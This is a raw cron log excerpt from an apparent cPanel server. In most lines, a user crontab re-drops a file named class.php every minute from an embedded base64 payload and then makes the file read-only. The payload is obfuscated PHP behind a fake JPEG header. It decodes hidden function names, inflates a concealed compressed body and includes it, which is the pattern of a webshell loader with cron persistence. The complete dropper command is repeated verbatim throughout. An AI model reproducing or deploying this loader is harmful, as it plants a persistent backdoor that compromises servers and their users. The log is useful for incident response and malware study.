Nov 13 06:17:01 server CROND[16507]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:18:01 server CROND[17382]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:19:01 server CROND[18268]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:20:01 server CROND[19198]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 06:20:01 server CROND[19200]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 06:20:01 server CROND[19203]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 06:20:01 server CROND[19205]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:20:01 server CROND[19204]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 06:21:01 server CROND[20124]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:22:01 server CROND[20784]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:23:01 server CROND[21659]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:24:01 server CROND[22585]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:25:01 server CROND[23550]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 13 06:25:01 server CROND[23551]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 06:25:01 server CROND[23554]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 06:25:01 server CROND[23555]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:26:01 server CROND[24031]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:27:01 server CROND[24542]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:27:01 server CROND[24543]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 06:28:01 server CROND[25406]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:29:01 server CROND[26286]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:30:01 server CROND[27166]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
